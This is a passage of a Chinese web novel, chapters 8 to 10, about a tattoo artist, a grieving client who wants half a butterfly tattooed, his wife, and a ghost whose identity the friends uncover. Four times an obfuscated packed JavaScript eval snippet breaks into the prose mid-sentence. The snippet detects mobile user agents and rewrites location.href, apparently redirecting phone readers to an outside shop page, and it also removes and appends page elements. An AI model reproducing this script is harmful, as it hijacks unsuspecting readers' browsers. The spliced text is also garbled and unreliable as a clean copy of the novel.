“是啊,”她开口,声音有些哑,“道理是冷的,人是热的。” 就像她此刻握着茶杯,指尖感受到的温度。 林教授微微颔首,表示赞同,转而问道:“除了店里的生意,最近还忙些什么?” “一个老朋友找上门来,还带了个新朋友和一个大麻烦。”陈归澜嘴上说着是大麻烦,但并没有很抵触这个大麻烦和带来大麻烦的人,“这几天都在忙着和他们一起想办法解决这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16867179|191805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麻烦。如果不出意外的话,应该很快就能解决。” 林教授闻言,感到欣慰。 她没有追问细节,只是温和道:“挺好。把那些思考、那些过不去的坎儿,还有那些……感情,变成一种可见的印记,带在身上,继续往前走。这本身,或许就是一种答案。” 陈归澜微微一怔。 暮色愈发浓重,窗外的海棠树只剩下深色的剪影。 她站起身告辞,林教授没有多留,只是在她拉开门时,在她身后轻声说:“归澜,常来坐坐。白越不在了,我这里,总还有杯热茶。” 陈归澜的脚步顿了一下,没有回头,只是低低应了一声:“好。” 走出哲学系的小楼,晚风带着夏末的凉意拂面而来。 陈归澜下意识地裹紧了身上的衣服,身影在渐浓的暮色里显得格外单薄。她穿过种满法国梧桐的小径,脚步并不匆忙,却与周遭的一切隔着一层无形的薄膜。 一个拿着平板的女生与她擦肩而过,嘴里念念有词,眼神明亮而专注,不远处,几个男生围坐在石阶上,热烈地讨论着实习见闻,手势夸张,笑声爽朗。 他们的身影是流动的,充满弹性的,每一个细胞都散发着蓬勃的生气。 而陈归澜在其间,像一道定格的影子。 那些年轻的面孔像跃动的光斑,而她则是光斑投下的、坚实的深色底衬。 他们奔向的是图书馆、实验室、实习单位,是无数种可能性的开端,而她刚刚告别了一段悼别古人的对话,正走向一个早已烙下个人印记的角落。 夕阳的余晖将学生染成暖金色,却只在她身后拖出一道悠长而孤独的影子。 她与这些鲜活的生命流淌在同一片空间,却仿佛身处两个截然不同的时空轨道,一个喧嚣着奔向未来,一个携带着过往,沉默独行。 那些宏大的、关于存在与死亡的辩论,最终沉淀下来,变成了她独自走在暮色校园里的脚步,变成了林教授办公室里一杯始终为她准备的热茶。 - “归澜!我跟你说个超级带感的豪门瓜!保证比你追的所有剧都刺激!” 陈归澜把杯中的咖啡搅匀,喝了一小口,示意邓佳欣继续说。 “就北城蔡家,你知道吗?” “哪个蔡?”陈归澜向来不关心他们的那些乱七八糟的新闻。 比如哪家的哥哥和妹妹一起私奔了,比如哪家死去的儿子被人在国外偶遇……太多了。北城繁华,钱、权几乎集中到了这里,有钱有权的人太多。俗话说的好,饱暖思淫欲,那群人不是追求长生、青春永驻,就是攫取更多的钱财,这些只霍霍自己的人陈归澜都得夸他们一句人性未泯。 陈归澜又喝了一口咖啡。 咖啡是二楼那家咖啡馆的。咖啡馆老板也是个花钱打发时间的,也不管有没有生意,隔三岔五出个新品,出了新品就给纹身店送几杯来,也不知道是热情还是把他们当小白鼠。 陈归澜摇摇头,决定有机会跟咖啡馆老板说一声,无花果和肉桂晒干磨成粉加进美式,真难喝。 邓佳欣兴奋得两眼放光:“就是到处生孩子搞九子夺嫡那一套的蔡家!蔡老头认了没认的子女厮杀了五年多,最后剩一对双胞胎姐弟捏着蔡家的资源。他们表面光鲜亮丽,背地里简直是在上演一场伦理大戏!” 8. chapter 8 “事情从他们老爸病危开始。姐姐白天在病房哭得梨花带雨,晚上就偷偷转移资产。弟弟更绝,一边给老爸擦脸一边调兵遣将,把公司的元老都给换了,高层剩的全是自己人!” 邓佳欣猛吸了一口咖啡馆老板送来的咖啡,继续道:“最绝的是遗嘱!蔡老头要求他俩必须合作三年让利润涨30%才能继承全部家产,不然就把家产给捐了。这操作简直是在火药库旁边烤烧烤!然后姐弟俩就开始了骚操作大比拼,姐姐找水军爆弟弟黑料,弟弟反手就把姐姐多年前酒驾黑历史做成视频大礼包全网发送。公司股价啪嗒啪嗒往下掉,他俩还在互相扔炸弹!” 说到这里,邓佳欣兴奋地拍了一把桌子:“你以为这就是重头戏?太天真啦!这俩戏精居然突然宣布和好,在媒体面前上演兄妹情深,实际上联手做局炒高股价,准备套现跑路还把锅甩给公司高层!我一开始还想,这姐弟俩挺聪明啊,反正法人代表不是他俩,到时候把钱卷出国,也不用再伺候那老头,还能在国外过他们的逍遥日子。” 邓佳欣深吸一口气:“结果你猜怎么着?姐姐居然在最后关头掀桌,召集董事会要把弟弟踢出局!我都觉得弟弟完蛋了,结果弟弟居然缓缓掏出终极杀器——他们去世妈妈的日记!里面写着姐姐当年故意调慢妈妈氧气开关,就为了讨好即将进门的继母!” 邓佳欣瘫在椅子上夸张地捂胸口:“我的天啊,这俩根本就是互相握着核弹发射按钮!” “然后呢?” “然后!”邓佳欣突然坐直,眼睛发光,还顺手把米利安拉过来一起听,“不知道蔡老头从哪里又抓出来一个私生女,把家产全部给她了,双胞胎一分没有!” 陈归澜点点头:“还真是炸裂。你说蔡老头民主吧,他生了一堆孩子,私生子们每天一杯咖啡都能养活楼上咖啡馆了,说他死板吧,又愿意把家产给私生女。他们那一辈老封建,不是最看不上女人吗?” “话是这么说啦,谁知道那老头怎么想的。”邓佳欣还在回味,“不过说真的,这瓜要是拍成电视剧,我绝对充VIP追更。” 米利安听完结局,拍了拍邓佳欣的肩:“放心吧,只要蔡家人还活着,就没有人敢拍。” “万一有个不畏强权的呢?” 米利安笑她天真:“只有一个不畏强权的可不够,导演、制片、出品、编剧、演员、摄像、后期、审核……层层关卡,没有成千上万不畏强权的可不够啊。” 说罢,米利安提醒陈归澜:“归澜,十点有客人来,预约的你。” 陈归澜点头。 昨天晚上接到的订单,急单。 客户说,他心脉受损,就医吃药、求神拜佛都尽力了,但放不下、忘不了,不如在身上留下一道永远不会磨灭的痕迹。 陈归澜觉得对方是个重感情的人,就接了。 客户说,他想在肩膀纹半只蝴蝶。 想纹蝴蝶的她见过不少,但纹半只的,还是前所未闻。但客户是上帝,她可不敢质疑上帝的审美,也不敢询问上帝,上帝的这一行为有什么启示。 - 上帝来的时候,是九点五十五分,比预约的时间早了五分钟。 看见上帝花白的头发和憔悴、苍老的面容,陈归澜有些意外。 她记得上帝登记的年龄是三十三岁。可眼前这个人……细看的确算不上老,但也绝对说不上年轻。 这么一看,还真是一副心脉受损的模样。 邓佳欣已经帮忙准备好了工具。她把东西放在一旁,就和米利安一起进了休息室。 “你好,陈师傅吧?我是郑开禾,预约了今天十点的纹身。” 就连声音也虚弱、苍老。 “郑先生,你好。昨天您说的是想纹半只蝴蝶在肩膀处,对吗?” 郑开禾点头。 就连点头的动作都显得迟钝、机械。 陈归澜很难将这个人和三十三岁联系起来。 “我这里有些样本,您可以从中选一个,与可以跟我说您的想法,我来改。” 陈归澜从柜台拿出一本册子,翻到展示蝴蝶纹身样本的页码。 因为蝴蝶在大部分人心中的象征都是爱情、自由,选择在自己身上或是和伴侣一起纹蝴蝶的人不在少数,可供选择的蝴蝶意象的样本也不少。 “好。”郑开禾接过册子,细细翻看起来。 有极简的单线蝴蝶,几笔勾勒,有浓墨重彩的新传统风格蝴蝶,翅膀饱满,色彩斑斓,被牡丹或骷髅簇拥,也有写实的凤蝶,翅翼上的鳞粉仿佛在光下闪烁,纤毫毕现。 郑开禾的目光并未在这些常见的意象上过多停留。他的指尖最终停在了一页并不算起眼的图样上,那是一只紫斑蝶。 与其他蝴蝶的绚丽夺目不同,紫斑蝶的底色是浓郁到近乎墨色的黑,只在翅翼中部缀着几块不规则的白斑,像是泼洒在黑夜上的月光,黑色鳞片上隐隐折射出一种金属质感的紫蓝色幽光。 紫斑蝶的旁边有几行小小的字,展示着紫斑蝶的寓意:紫斑蝶是著名的迁徙蝴蝶,它们会像候鸟一样,进行长达数百甚至上千公里的长途飞行。这象征着不屈不挠的生命力和探索远方的自由。它们的自由带着坚韧和目的性,代表着即使前路漫漫,也有振翅高飞的勇气和力量。 “这种蝶,”郑开禾开口,声音平静,“不像其他蝴蝶留恋花丛。它们每年会进行跨越山海的长距离迁徙,一代接着一代,完成生命与传承。” 他抬起眼,看向陈归澜:“就要这个。” 陈归澜点了点头。 “不过,”他用指尖轻轻点着那只完整的紫斑蝶图样,“我不要完整的它。只要一半,从中间裂开,只要左半边翅膀。” “还有,”他继续道,“除了它原本的黑色基底保留,那些白色斑纹,以及泛着紫蓝色的幽光部分……全部帮我改成紫色,鸢尾花的颜色。” “一半的紫斑蝶,鸢尾花的颜色……”她轻声重复,像是在确认,“我明白了。” 紫斑蝶的轮廓画出来很容易,但色块分散,难在上色。颜色没有现成的,需要重新调,但不算麻烦。 设计图交给郑开禾的时候,他很满意,要求马上纹在他身上。 陈归澜按照惯例确认免责条款:“郑先生,在开始之前,按照流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16867180|191805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程,我需要跟您确认几个事项,这也是为了保护我们双方。您选择的图案,包括其独特的修改要求,一旦纹刺到皮肤上,将是永久性的。虽然现代技术可以通过激光去除,但过程痛苦、昂贵,且无法保证完全不留痕迹。这一点,您是否完全清楚并接受?” 郑开禾点了点头,眼神没有任何犹豫:“清楚,接受。” “其次,”陈归澜继续说,“纹身过程中会有不同程度的疼痛感,取决于个人耐受度和纹刺部位。后期恢复期可能会有红肿、渗液、结痂和发痒的过程,这些都是正常现象,但必须严格按照护理说明进行,以避免感染或掉色。您是否了解并能遵守?” “了解,能遵守。”郑开禾的回答依旧简洁。 “最后,也是非常重要的一点,”陈归澜稍稍加重了语气,“关于您定制的这个特殊图案,它承载的寓意是独一无二的,属于您个人,我们不会再次使用这一特殊图案。但在纹刺完成后,图案的视觉效果和可能引发的他人解读,我无法完全控制。本店无法对纹身完成后,可能产生的任何心理或社会层面的影响负责。您是否理解并同意?” 这一次,郑开禾没有立刻回答。他沉默了几秒,目光再次落回样本册上,指尖无意识地在桌面上轻轻敲击了一下。 “我理解。”他最终抬起头,迎上陈归澜的目光,“这本来就是我想要的。所有后果,我自己承担。” 陈归澜看着他,不再多言。她点了点头,利落地拿出两份标准的免责协议和客户确认书,将刚才确认的要点指给郑开禾。 “好的。那么,请在这里签字确认。之后我们就可以开始了。” “好。”郑开禾在确认书上果断签下自己的名字。 陈归澜确认信息和确认书之后,把其中一份留给郑开禾,把店里留存的那份放进文件夹,收进档案盒里以作存档。 “那开始吧。” 郑开禾褪下半边衣衫,露出清瘦的肩胛骨。 “就纹在这里,”他指尖轻点肩头贴近锁骨的位置。 陈归澜轻轻点头。 她不知道对方为什么对方只想纹半只蝴蝶,只隐隐觉得对方是个有故事的人。可是,她见过的有故事的人太多了,鬼也多,不主动说的,她也没兴趣主动问。 墨迹落定。 那半只蝶,翅翼的裂口贴合着锁骨线条,像一段无声的往事,栖息于此。 “蝶,是魂。”郑开禾忽然开口,“古话说它穿花度柳,生死相随,是情痴。你留住这一半,便是将那颗不渝的魂,钉在了肩上。” “可蝶,也是自在身。”陈归澜把给他纹身用过的一次性工具扔进垃圾桶,“世人只道完整方能飞,却不知断翅之蝶,不必再追随任何花香风月。” 郑开禾肩头的肌肉微微一紧。 郑开禾看着镜子,镜中那半只蝶,美得决绝,像一句未说完的誓言,也像一个不再完整的自己。 他的指尖停在那片微灼的皮肤之上,隔着距离,像是不忍触碰那半只蝶,终于释出一口悠长的气。 “很好。”他说。 谈话间,纹身店的大门被推开。 9. chapter 9 “归澜,我路过办点事,顺便跟你说一声,人赵许一联系上了,但是照片上的另一个还没有——”江敬寒的声音在看见郑开禾的瞬间戛然而止。 郑开禾把衣服穿好,露出一抹没那么沧桑的笑:“江医生。” “郑先生,原来你也在这里。” 三人都有些意外。 陈归澜把工具送进清理间,两人寒暄在这空档开始寒暄。 “原来,江医生和陈师傅是朋友。”郑开禾觉得意外,但声音没什么起伏。 江敬寒微笑道:“嗯,认识几年了。郑先生今天是来纹身?” 郑开禾没有和江敬寒深聊下去的医院,只随口道:“是啊,活了这些年,还没试过纹身,听说这里不错,就过来了。” 陈归澜从清理间走出来,手里拿了个盒子:“郑先生,这是修复膏,一定要按照说明书使用。” 郑开禾拿了修复膏,推门离开,大厅又只剩下江敬寒和陈归澜两个人。 陈归澜坐在前台,打趣江敬寒:“你这个心理医生不行啊,病人明显不信任你。” 江敬寒笑着提着一把椅子在柜台边坐下:“没办法,他这样的病人,心理医生已经救不了了。” 陈归澜深感同意。 郑开禾,三十三岁。究竟发生了什么三十三岁会头发花白,比五六十岁的人还憔悴?没人想得通。 “他来看病这两个月,我想了各种办法,希望他能把经历的前因后果说出来,我针对这些制定心理诊疗计划。”江敬寒无奈摇头,“但一无所获。每次去诊所,他都是前言不搭后语地说些日常琐事,我完全无法从他的言语中拼凑出一个完整的故事,哪怕是一个完整的故事梗概。所以,这两个月,只是给他开了些药。” 江敬寒指了指郑开禾离开的方向:“你也看到了,没什么用。六月,他刚来诊所的时候,头发还只白了几根,现在白了一半了。” 陈归澜低着头,不知道在想些什么,没说话。 江敬寒忽然觉得,陈归澜是个坚强的人,至少在她认识的人里面,是最坚强的一个。 “好了,我要去忙了。”江敬寒起身,“归澜,晚上一起吃饭?叫上赵许一。” “好啊。”最近纹身店的生意不算多,大部分都是邓佳欣和米利安在做,她正好没什么事,“去哪儿?我午饭还没吃呢,饿死了。” 因为郑开禾的预约,她从上午十点忙到下午三点,还没顾得上吃饭。 以往,遇上饭点,客人都会点个外卖,或是让她们帮忙多点一份,大家在休息的空档赶紧吃,吃完继续纹。但这郑开禾倒好,没说要休息,也没说要吃饭,陈归澜也不好把客人晾在一边,自己去吃。 “还没吃午饭?”江敬寒想了想,“算了,别叫赵许一了。待会儿忙吗?不忙的话,和我一起去送个文件,然后去吃下午茶。” - 江敬寒开的车还是三年前那辆老红旗。 拉开车门,一股熟悉的气息扑面而来,旧真皮、淡淡烟草以及木质香氛长久融合后形成的味道。和三年前一样,座椅是厚重的深棕色牛皮,中控台上也没有任何多余的装饰。 “还是三年前那辆车?”陈归澜明知故问。 “嗯。老爷子说,就算出来单干,也不能太张扬,免得被人抓住把柄。”江敬寒打开车窗,“老爷子还问,什么时候,你能和他一起吃顿饭。” 陈归澜系安全带的手一顿,随即更加用了点力气:“没必要。我们的事情,没必要牵扯到江叔。” “也好,断了他的念想。”江敬寒发动汽车,没再继续这个话题。 倒是陈归澜,看着汽车从城西开到城东,她这才反应过来,忘了问去哪儿。 “你们心理诊所还上门提供服务?” 江敬寒:“不是心理诊所,是我叔叔的公司,说是有新合作,让我帮忙给合作方送个文件。” “你叔叔?”陈归澜依稀记得,江敬寒就一个叔叔。江敬寒的爸爸继承了他爷爷的衣钵,他叔叔则借着家里的人脉出去创业,三年前也是做的风生水起。 陈归澜:“我记得,你叔叔有个女儿,三年前在新西兰念书,学的中医?” 江敬寒点头:“是啊,现在还在念书,还有两年博士毕业。” “到时候回国吗?” “不一定。”江敬寒把车停在W百货大楼停车场,“走吧,送完文件,就在这里吃。” 说完,江敬寒补充:“这顿我请。” 陈归澜也不跟他客气,提包下车:“你说的。” - W百货大楼矗立在城市繁华的十字路口,巨大的玻璃幕墙在日光下闪耀着光芒。踏入旋转门,内部是另一个世界。 挑高的中庭穹顶垂下璀璨如星河的水晶吊灯,大理石地面倒映着步履匆匆、衣着光鲜的人影,空气里弥漫着高级香水、皮质货品和现磨咖啡的奢靡气息。各大奢侈品牌的旗舰店沿回廊依次排开,橱窗陈列如同艺术展,冰冷的金属、柔软的皮革与璀璨的珠宝在精心设计的灯光下宣告着身份与价码。 陈归澜和江敬寒穿过熙攘的人群,径直走向通往高层的专属电梯。 电梯到达顶层,门再次开启,喧嚣被彻底隔绝。眼前是一条铺着厚重地毯的静谧走廊,两侧是深色的木质墙面,仅有少数几扇紧闭的、没有任何标识的门。 他们走到一扇双开门前,江敬寒按响了门铃。 门很快被一位身着剪裁合体套装、妆容一丝不苟的女士打开。她看起来三十岁上下,眼神锐利而干练,目光在陈归澜和江敬寒身上快速扫过。 她微微侧身:“二位,杨总在里面,请进。” 室内是一个极为宽敞的私人接待厅,视野极佳,落地窗外是连绵的城市天际线。装修是现代极简风格,但每一件家具、每一处细节都看得出来,造价不菲。 一个穿着利落白色西装套裙的女人正背对着他们,站在窗前讲着电话,声音不高,但压迫感十足。 “……方案不行。告诉他们,我要的不是可能,是必须。周五之前,我要看到全新的、能达到我要求的版本。”她说完,利落地挂了电话,转过身来。 她看上去也是三十岁上下的年纪,面容姣好,身姿干练。 “江先生?二位请坐。”她只知道文件要得急,合作方人在国外,让侄子帮忙送文件过来,但没见过这个侄子的模样,“这位怎么称呼?” 江敬寒先开口:“杨总你好,我是江敬寒,我叔叔让我帮忙送过来的文件。” 他看向陈归澜,犹豫片刻,介绍:“这位是我的朋友。” 没介绍姓名。 陈归澜也不在乎。她知道江敬寒的家世背景,知道江敬寒什么品性,知道他不介绍,说明他不想她和她们扯上关系。 生意人讲究是的利益为先,心照不宣。杨安语并未多问。 “好。”她接过文件,确认密封贴未被破坏,把文件递给助理收起来,“实在是项目出了点问题,不然不会急着要,劳烦二位特意跑一趟。要不一起吃个下午茶?就当是对二位的感谢。” 助理适时端了一壶咖啡过来。 她示意助 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16867181|191805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理倒咖啡:“在国外待惯了,习惯靠咖啡提神,二位不介意吧?” “不会。”江敬寒不喜欢这种虚与委蛇的场合,这也是他选择自己创业的主要原因之一。但毕竟是叔叔的合作伙伴,他不能表现得太明显,只能寻找机会离开。 江敬寒放下杯子:“还约了朋友。杨总,既然文件送到,我们就不多打扰了。” 陈归澜跟着江敬寒起身,杨总也很站起来:“我丈夫就在楼下,要不,我们一起吃个饭?你叔叔一直跟我夸他的侄子,我倒是很好奇。” “是叔叔溺爱了,我不过是家里离经叛道的逆子,只能干些帮忙跑腿的活儿。” 陈归澜站在江敬寒旁边不做声,只希望能赶紧离开。 门忽然被推开,门外走进来一个男人,头发花白,面容憔悴,陈归澜和江敬寒都有些惊讶。 奇怪的是,来人装作一副不认识他们的样子,看见他们的瞬间就移开视线,只紧紧盯着杨总。陈归澜和江敬寒见形势不对,也没有开口。 “安语,我们走吧。” “好。我也不打扰二位,先走了。” 这是别人的地盘,两人自然不能让主人先走。 “杨总,告辞。”江敬寒带着陈归澜先一步走出房间。 房门关上的瞬间,两人都松了一口气。 电梯下行,压迫感仿佛被瞬间抽离。 “他们是夫妻。” “嗯。”江敬寒根据自己的经验,“而且是表面夫妻。” 陈归澜不置可否,但提出了自己的另一个猜测:“而且,郑开禾处于低位。” 江敬寒点头:“衣服换了,说明——” “说明,要么讲究,上午、下午不穿同一套衣服,要么……他不想让妻子知道自己的纹身,要藏住消毒水的味道。”陈归澜想,纹身在锁骨的位置,想让朝夕相处的妻子不知,怕是不易,除非两人没有亲密相处的时刻。 江敬寒继续道:“他曾经让我替他保密,不要让任何人知道他是我的病人,尤其是他的家人。应该也包括他的妻子。” 江敬寒忽然问:“你觉得,杨安语像白玉兰还是鸢尾花?” 陈归澜摇摇头:“要我看,都不像。白玉兰高洁,开在枝头,要人仰望,香气也是清冷的,带着距离。鸢尾……优雅,带着点朦胧的梦,甚至有些易碎。” “杨安语……”她抬起眼,“她更像是金属……钛。” “那么多金属,为什么是钛?” “不知道,直觉。”陈归澜问,“郑开禾喜欢白玉兰还是鸢尾花?” 江敬寒:“大概是鸢尾花吧。” “我猜也是。纹身的时候,蝴蝶他要鸢尾花的颜色。” 两人穿过百货一楼那些光鲜亮丽的橱窗,从侧门拐出,步入后街,喧嚣声、油烟味和人间热气扑面而来。 狭窄的巷弄两侧挤满了各式小馆,招牌鳞次栉比,霓虹灯在尚未暗下的天色里已经迫不及待地闪烁起来。 麻辣烫的红油翻滚着咕嘟冒泡,烧烤摊的孜然烟雾缭绕,夹杂着炒锅与铁板碰撞的镬气之声。 他们最终钻进一家招牌老旧的牛肉面馆。逼仄的空间里挤满了桌椅,人声鼎沸,墙壁被岁月熏得微微发黄,头顶的老式吊扇慢悠悠地转着。两人找了角落一个狭小的位置坐下,塑料菜单边缘已被摩挲得起了毛边。 江敬寒沉默地用热水烫着两副碗筷,氤氲的水汽暂时模糊了他脸上惯有的冷硬线条。 隔壁桌几个刚下工的装修工人正大声聊着家长里短,后厨传来师傅中气十足的吆喝。 10. chapter 10 手机铃声忽然响起,江敬寒接通:“喂?” 赵许一像是在车上,有些急躁:“江敬寒,陈归澜和你在一起吗?我打她电话没人接!” 江敬寒看向陈归澜,陈归澜听到了话筒里传出来的声音,慢悠悠从包里拿出手机。手机屏幕亮起,果然有一连串未接电话,全是赵许一打来的。 江敬寒知道陈归澜的习惯,回他:“她手机静音了,没听到。” 听到陈归澜平安的消息,赵许一松了一口气,转而向江敬寒批评起她来:“她怎么没事就手机静音?万一她家里有事找她,电话又没人接,家人岂不是很担心?” 江敬寒:“……不会说话就闭嘴。” 陈归澜只当没听到,低头继续吃面。 “说正事,张艺航我联系上了。他说,照片上的女生叫裴书苒,星城人,大学是在海市大学念的,跟他同校不同专业。不过九年前他大学毕业,就断了联系,其他的他也不是很清楚。” 江敬寒:“其他的呢?中间那个男人是谁?和他们什么关系?” “中间那人是裴书苒的追求者。九年前,他表白失败,出国继续念书,后来他们一个继承家业,一个被家里抛弃,联系也渐渐少了。张艺航只知道,他回国后直接结婚了,妻子不是裴书苒。” 陈归澜琢磨着这个故事,从江敬寒手里拿过手机:“他妻子叫杨安语?” “欸,归澜,你怎么知道?”赵许一的声音充满了错愕。 “我真是……”陈归澜重重叹气,感觉一股荒诞的寒意顺着脊椎爬上来,“怎么会有这么巧合的事情?” “什么巧合?归澜,你认识杨安语?”赵许一还摸不清楚情况。 江敬寒隔着两碗热气腾腾的牛肉面:“不只是杨安语,我们还认识照片中间的那个男人,郑开禾。” 赵许一让司机前面路口右转,摸不着头脑:“等等,你们怎么还知道中间那个男人是郑开禾?你们认识?” 陈归澜只觉得一切太过于巧合,太过于荒谬。 半个小时之前,她、江敬寒,还面对面见过郑开禾和杨安语。 陈归澜看着窗外渐沉的夜色,只觉得一切线索像一张骤然收拢的网。 “没错,不光江敬寒认识,我也认识。”陈归澜捏着手机,摁了摁眉心。 “你们怎么都认识,就我不认识?”等红灯的间隙,赵许一问,“你们现在在哪儿?归澜,现在那个女鬼的身份我们知道了,下一步怎么做?” 陈归澜顿了顿:“去你家,找他。” “好,我得回家一趟,事情结束了跟你们说,待会儿见。” - 来到赵许一那栋闹鬼的房子,已经是晚上八点多。 夜色如墨,将这栋老宅彻底吞没。它孤零零地矗立,与周围几户透着暖光的窗户相比,就像一座被遗忘的孤岛。 空气中弥漫着一股潮湿的、混合着腐败植物和淡淡霉味的沉闷气息,吸进肺里都带着一股凉意。 推开大门,陈归澜忍不住吐槽:“你当初是怎么想的,买这么一栋看上去就闹鬼的房子?钱多到没地儿花了,还是嫌人生太顺遂?” 赵许一跟在她身后,闻言长长地叹了口气,追悔莫及:“别提了。当初不是跟家里老爷子大吵一架,血气上涌,揣着全部身家就跑出来自立门户了嘛。就那点钱,能买得起的也就这儿了。苍天明鉴——” 他为自己叫冤:“当时这房子看着顶多就是旧了点,落魄了点,谁能想到它还是个凶宅啊。” 江敬寒想起赵许一当初说的找原房主的事情,问:“原房主还没联系上?” “没有。从头到尾都是中介和他助理在经手,我让我的助理去磨了,还没消息。”赵许一只觉得倒霉,“这房子,就算闹鬼的问题解决了也怕是转卖不出去了。” 江敬寒瞥了一眼路边等待的司机:“所以,你为了生计向家里人低头?” 赵许一脸上飞快地闪过一丝被戳穿的窘迫,但随即他下巴一扬,努力摆出一副理直气壮的模样:“咳……大丈夫审时度势,能屈能伸,这叫智慧。” “是,你大丈夫,能伸能缩。”陈归澜想到裴书苒和郑开禾、杨安语的关系,忽然有些疑惑,“你们说,裴书苒为什么会出现在这个房子里?既然是地缚灵,要么被困在死的地方,要么被困在她执念深重的地方。” 她看着赵许一,忽然扯出一个没什么笑意的弧度:“你这房子,还真是标准的凶宅。哎,裴书苒不会是在这里死的吧?” “你别吓我!”赵许一搓了搓胳膊,汗毛倒竖,连忙反驳,“之前找邻居打听过,这里没死过人啊,自然死亡的也没有。” “那就是执念深重了。执念……”什么执念会让人停留在一个地方?联想到郑开禾最近的模样,总不能是…… 陈归澜看江敬寒:“郑开禾因为什么去你的心理诊所?” 江敬寒也大概猜到了陈归澜的想法:“鸢尾花,去世。” 同时,江敬寒也把郑开禾在心理诊所说的那些前言不搭后语的话串成了一个完整的故事。 “在郑开禾的故事里,鸢尾花,大概率就是裴书苒,死于今年五月,然后郑开禾心理出现问题,六月底来到我的诊所。”江敬寒向赵许一确认,“郑开禾什么时候结的婚?” “九年前,年底。” 陈归澜觉得事情又复杂了起来:“时间不对。如果裴书苒真是因为和郑开禾的感情问题去世,那也不该是今年六月,早在九年前就出事了。而且,如果真是因为郑开禾,她当初为什么要拒绝他的追求?” 赵许一补充:“这房子是今年七月挂出来的,我七月底买的。” “照这么说,时间线应该是五月裴书苒去世,六月郑开禾出现心理问题,七月房子挂出,八月我们来到这里。”陈归澜低头沉思,“时间线倒是能对上,但原因找不到。” “难道是……杨安语?”赵许一也顺便问了一嘴郑开禾和杨安语的感情和婚姻,但张艺航也几年没跟他们联系了,说不上来好还是不好,他不清楚杨安语是个什么样的人,也不清楚现在的郑开禾是个什么样的人。 线索似乎在这里断掉了。 露台的门敞开着,夜风毫无阻碍地灌入,带着比楼下更刺骨的寒意。 就在那里,在清冷月光的勾勒下,他们再次看到了裴书苒的鬼魂。 但与之前不同,这一次,她的形态似乎凝实了一些,陈归澜能感觉到她正在汇聚的意识。 她缓缓转过头,目光落在他们三人身上。 “裴书苒?”陈归澜叫她的名字,确认。 裴书苒缓慢地眨着眼,看向三人:“你们好,我是……裴书苒。” 听到裴书苒飘渺的声音,赵许一抓着陈归澜的胳膊往后躲。即使做好了见鬼的心理准备,但赵许一还是被突然开口的裴书苒吓了一跳,身上的汗毛瞬间立起,冷汗直冒。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16867182|191805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “她、她不是不会说话吗?” 陈归澜看了一样赵许一,慢悠悠道:“忘了告诉你们,对于这种失去主观意识、执念深重的鬼魂,只要知道他们的名字,就能唤回来一部分意识,从而进行交流。” “在某种说法里,人有五个灵魂,分别是人的名字、人的影像、心、巴和卡,其中,人的名字是最后一个,也是最后消逝的,如果叫她的名字,可以渡她永生,也可以短暂召回她的意识。”陈归澜看着裴书苒,继续道,“但是,如果确认她的身份却不能了却她的心愿,她就会逐渐沦为游魂,游荡在人间。” 听到最后一句,赵许一头皮发麻:“你的意思是,如果我们不能了却她的心愿,她就会一直留在这里?!” 陈归澜幽幽看她一眼:“不一定,可能会往外面飘。不过,就算我们不管,她也会把这里当家。” 赵许一:“……” 江敬寒走上前打圆场:“所以,她的心愿是什么?” 陈归澜深呼吸一口气,问裴书苒:“裴书苒,你未了却的心愿是什么?” “我想见一个人。”裴书苒看着陈归澜,眼神平静,却让人不寒而栗。 “谁?郑开禾?” 裴书苒摇头:“杨安语。” 三人都一愣。 裴书苒当初拒绝郑开禾,后来郑开禾和杨安语结婚,裴书苒的执念为什么是见杨安语?难道当初她的拒绝另有隐情,是杨安语从中作梗? 裴书苒不再多言,三人也问不出太多有效信息,只好离开。 - 回到家已经是深夜,米利安说是有东西要给陈归澜,陈归澜就让她先进家里等。 米利安进入电梯,楼管帮忙刷了卡,电梯缓慢上行,直达顶楼。从电梯里出来,楼道里的廊灯常亮。 米利安输入密码,打开大门。 